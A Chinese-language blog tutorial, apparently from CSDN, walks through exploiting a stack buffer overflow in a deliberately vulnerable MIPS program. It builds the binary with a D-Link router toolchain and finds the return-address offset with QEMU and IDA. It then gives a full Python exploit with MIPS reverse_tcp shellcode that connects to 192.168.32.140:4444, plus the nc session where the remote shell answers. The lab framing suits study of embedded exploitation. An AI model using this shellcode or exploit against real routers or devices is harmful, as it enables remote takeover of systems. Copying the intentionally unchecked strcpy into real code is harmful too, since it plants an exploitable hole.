十九、Shellcode应用实践

首先,我们编写一个存在缓冲区溢出漏洞的程序,功能比较简单:从passwd文件中读取密码,如果密码为“adminpwd”即有权限执行系统命令“ls -l”列出当前目录,否则提示密码错误后直接退出。

源码vuln_system.c:

#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system(int code, char *cmd) {
  char buf[255];
  system(cmd);
}

void A(char *content) {
  char buf[32];
  strcpy(buf, content);
  printf("buf: %s\n", buf);

  if(0 == strcmp(buf, "adminpwd")) {
    do_system(0, "ls /");
  }
}

void main(int argc, char **argv) {
  char buf[1024] = {0};
  char ch;
  int count = 0;
  unsigned int fileLen = 0;
  struct stat fileData;
  FILE *fp;
  if (0 == stat("passwd", &fileData)) {
    fileLen = fileData.st_size;
  } else {
    return 1;
  }

  if ( (fp = fopen("passwd", "rb")) == NULL) {
    printf("Cannot open file passwd!\n");
    exit(1);
  }

  ch = fgetc(fp);
  while( count <=fileLen ) {
    buf[count++] = ch;
    ch = fgetc(fp);
  }
  buf[--count] = '\x00';

  A(buf);
}

在程序中读取passwd文件时,如果文件中的内容长度超过32,多出的部分就会覆盖A函数的栈空间,而在被覆盖的部分就很可能存在A函数保存在栈空间中的备份的ra寄存器的值,如果这个空间被覆盖,那么在A函数返回时,就会使用被覆盖后的值作为返回地址,进而被控制了执行流程。

下面我们使用编译器编译这段代码,这里如需要注意的是,在Ubuntu16.04中使用apt-get安装的编译器版本比较新,在编译时会在目标程序中加入很多防止缓冲区溢出的内存检查指令,所以,这里我们使用的是dlink-619l路由器的编译器来编译这段代码:

$ mips-linux-gcc -static vuln_system.c -o vuln_system

这个编译器可以从dlink open source站点中进行下载,下载地址为:

https://tsd.dlink.com.tw/downloads2008detailgo.asp

在页面中选择dir-619l型号:

在这里插入图片描述

点击“go”按钮,然后在页面的末尾处选择对应型号的开源包:

在这里插入图片描述

在这里插入图片描述

下载好对应的tar.gz包,并在Ubuntu中进行解压。

最后配置好环境变量即可使用这个编译器了:

export PATH=/home/test/Desktop/dir-619l/res/opensource/DIR619_B1_GPL204ESb01/opt/rsdk-1.3.6-4181-EB-2.4.25-0.9.30/linux:$PATH

紧接着,我们向passwd文件中写入超长字符串测试一下:

$ python -c "print 'A'*600" > passwd
$ which qemu-mips-static 
/usr/bin/qemu-mips-static
$ cp /usr/bin/qemu-mips-static .
$ ./qemu-mips-static ./vuln_system
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)

可见,我们得到一个段错误(Segmentation fault)。

为了能够知道程序具体在什么地方引发了这个段错误,我们可以使用qemu使用等待调试的方式启动vuln_system程序,然后通过IDA附加vuln_system进程进行调试:

$ ./qemu-mips-static -g 1234 ./vuln_system `python -c "print 'A'*600" > passwd`

使用IDA保持一路默认打开vuln_system程序:

在这里插入图片描述

然后选择“Debugger”菜单-》“Process Option”选项,并配置好IP和端口号:

在这里插入图片描述

配置好之后,选择OK按钮。

然后再在菜单栏中选择“Debugger”-》“attach to process”:
在这里插入图片描述

这里选择id为0的进程,然后点击ok按钮:

在这里插入图片描述

如果能够看到“Successfully”字样的对话框,就说明附加调试成功了。

点击Ok按钮后,我们使用F9快捷键全速运行,就看到IDA检测到程序异常崩溃了:
在这里插入图片描述

这时,我们查看崩溃现场时,发现RA寄存器的值已经被覆盖为了0x41414141:

在这里插入图片描述

由崩溃现场我们可以知道,程序的运行流程已经被我们劫持到了0x41414141处,而这个0x41就是字符‘A’的十六进制值。而这个0x41414141显然是一个不合法的内存地址空间,所以,才引发了段错误。

因为我们刚刚在passwd文件中直接写入了600个A,以至于程序执行流程被劫持到了0x41414141处时,我们也无法知道具体起作用的是第几个A,所以,为了精确的控制程序的执行流程,我们需要确定是passwd文件中的第几个A在起作用。

首先,我们可以通过静态分析溢出函数的汇编代码得到一些有用信息:
在这里插入图片描述

我们可以轻易的看出来ra寄存器是保存到var_4变量中的,而根据strcpy函数调用过程,我们可以反推出var_28实际就是函数A中的buf变量。

所以,我们可以通过简单的计算,比如0x28-0x4=0x24,也就36个字节。

所以我们可以在passwd文件中,填充36个字节的A,然后再填充BBBBCCCC,然后再重复上面的动态调试过程,看看程序的执行流程是否被劫持到了BBBB位置:
在这里插入图片描述

由动态调试得到的崩溃现场我们可以知道,我们已经精确控制了程序的运行流程到0x42424242位置。

确定攻击途径

在这里,我们选择上次分享中使用的reverse_tcp这个Shellcode展开攻击,那么接下来的问题就变成如何找到能够劫持执行流程,使其转去执行Shellcode的途径。我们先来看程序崩溃时寄存器及堆栈的情况:
在这里插入图片描述

可以看到,在我们构造的数据中,BBBB(0x42424242)覆盖了0x76FFEB5C处保存的返回地址,而在BBBB之后的数据CCCC(0x43434343)继续向后覆盖到了0x76FFEB60处。

因此,在这里我们可以用0x76FFEB60覆盖0x76FFEB5C处的返回值,使程序的执行流程跳转到0x76FFEB60处,而在0x76FFEB60处的数据通过溢出被覆盖为了我们的Shellcode。如此一来,我们构造的Shellcode就能被执行了。

至此,我们已经确定了攻击路径:
在这里插入图片描述

需要注意的是,这里直接使用了Shellcode在堆栈中的首地址0x76FFEB60覆盖返回地址,但由于堆栈的变化的,会随着使用的编译器和运行环境的不同而不同,所以读者在测试时需要根据自己的情况修改这个地址。

构建漏洞攻击数据

根据前面的分析,编写了如下测试脚本(exploit-sh.py):

import struct
import socket

def makeshellcode(hostip, port):
        host = socket.ntohl(struct.unpack('I', socket.inet_aton(hostip))[0])
        hosts = struct.unpack('cccc', struct.pack('>L', host))
        ports = struct.unpack('cccc', struct.pack('>L', port))

        mipshell  = "\x24\x0f\xff\xfa"  # li t7, -6
        mipshell += "\x01\xe0\x78\x27"  # nor t7, t7, zero
        mipshell += "\x21\xe4\xff\xfd"  # addi a0, t7, -3
        mipshell += "\x21\xe5\xff\xfd"  # addi a1, t7, -3
        mipshell += "\x28\x06\xff\xff"  # slti a2, zero -1
        mipshell += "\x24\x02\x10\x57"  # li v0, 4183  #sys_socket
        mipshell += "\x01\x01\x01\x0c"  # syscall 0x40404

        mipshell += "\xaf\xa2\xff\xff"  # sw v0, -1(sp)
        mipshell += "\x8f\xa4\xff\xff"  # lw a0, -1(sp)
        mipshell += "\x34\x0f\xff\xfd"  # li t7, 0xfffd
        mipshell += "\x01\xe0\x78\x27"  # nor t7, t7, zero
        mipshell += "\xaf\xaf\xff\xe0"  # sw t7, -32(sp)
        mipshell += "\x3c\x0e" + struct.pack('2c', ports[2], ports[3])  #lui t6, 0x1f90
        mipshell += "\x35\xce" + struct.pack('2c', ports[2], ports[3])  #ori t6, t6, 0x1f90
        mipshell += "\xaf\xae\xff\xe4"  #sw t6, -28($sp)
        mipshell += "\x3c\x0e" + struct.pack('2c', hosts[0], hosts[1])  #lui t6, 0x7f01
        mipshell += "\x35\xce" + struct.pack('2c', hosts[2], hosts[3])  #ori t6, t6, 0x101
        mipshell += "\xaf\xae\xff\xe6"  # sw t6, -26(sp)
        mipshell += "\x27\xa5\xff\xe2"  # addiu  a1, sp, -30
        mipshell += "\x24\x0c\xff\xef"  # li t4, -17
        mipshell += "\x01\x80\x30\x27"  # nor a2, t4, zero
        mipshell += "\x24\x02\x10\x4a"  # li v0, 4170  #sys_connect
        mipshell += "\x01\x01\x01\x0c"  # syscall 0x40404

        mipshell += "\x24\x11\xff\xfd"  # li s1, -3
        mipshell += "\x02\x20\x88\x27"  # nor s1, s1, zero
        mipshell += "\x8f\xa4\xff\xff"  # lw a0, -1(sp)
        mipshell += "\x02\x20\x28\x21"  # move a1, s1 # dup2_doop
        mipshell += "\x24\x02\x0f\xdf"  # li v0, 4063  # sys_dup2
        mipshell += "\x01\x01\x01\x0c"  # syscall 0x40404

        mipshell += "\x24\x10\xff\xff"  # li s0, -1
        mipshell += "\x22\x31\xff\xff"  # addi s1, s1, -1
        mipshell += "\x16\x30\xff\xfa"  # bne  s1, s0, 68 <dup2_loop>
        mipshell += "\x28\x06\xff\xff"  # slti a2, zero, -1
        mipshell += "\x3c\x0f\x2f\x2f"  # lui t7, 0x2f2f "//"
        mipshell += "\x35\xef\x62\x69"  # ori t7, t7, 0x6269 "bi"
        mipshell += "\xaf\xaf\xff\xec"  # sw t7, -20(sp)
        mipshell += "\x3c\x0e\x6e\x2f"  # lui t6, 0x6e2f "n/"
        mipshell += "\x35\xce\x73\x68"  # ori t6, t6, 0x7368  "sh"

        mipshell += "\xaf\xae\xff\xf0"  # sw t6, -16(sp)
        mipshell += "\xaf\xa0\xff\xf4"  # sw zero, -12(sp)
        mipshell += "\x27\xa4\xff\xec"  # addiu a0, sp, -20
        mipshell += "\xaf\xa4\xff\xf8"  # sw a0, -8(sp)
        mipshell += "\xaf\xa0\xff\xfc"  # sw zero, -4(sp)
        mipshell += "\x27\xa5\xff\xf8"  # addiu a1, sp, -8
        mipshell += "\x24\x02\x0f\xab"  # li v0, 4011 # sys_exec
        mipshell += "\x01\x01\x01\x0c"  # syscall 0x40404

        return mipshell

if __name__ == '__main__':
        print '[*] prepare shellcode',
        cmd = "sh"    #command string
        cmd += "\x00" * (4-(len(cmd) % 4))  #align by 4 bytes
        #payload
        payload = "A"*0x24    #padding buf
        payload += struct.pack(">L", 0x76FFEB60)  #PC
        payload += makeshellcode('192.168.32.140', 4444)
        print ' ok!'
        #create passwd file
        print '[+] create passwd file',
        fw = open('passwd', 'w')
        fw.write(payload)
        fw.close()
        print ' ok!'

运行这个python脚本,生成passwd文件:


test@ubuntu:~/Desktop$ python exploit-sh.py 
[*] prepare shellcode  ok!
[+] create passwd file  ok!

在192.168.32.140的Ubuntu系统中使用nc命令监听4444端口:

test@ubuntu:~/Desktop$ nc -lp 4444

使用qemu执行vuln_system程序:

test@ubuntu:~/Desktop$ ./qemu-mips-static ./vuln_system

查看nc命令窗口是否可以获取到shell:

test@ubuntu:~/Desktop$ nc -lp 4444


ls /
bin
boot
cdrom
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
toolchain
usr
var
vmlinuz

id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

由上面的nc命令执行结果处,我们可以知道,由于我们精心构造了一个passwd文件,使得vuln_system程序在读取并解析这个passwd文件时产生了缓冲区溢出,进而使我们构造的Shellcode得到了执行权限。

在下次的分享中,我们将介绍基于ROP chain的方式而非单纯的Shellcode方式对缓冲区溢出漏洞进行利用。

希望本次的分享能够为你带来帮助,谢谢大家。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值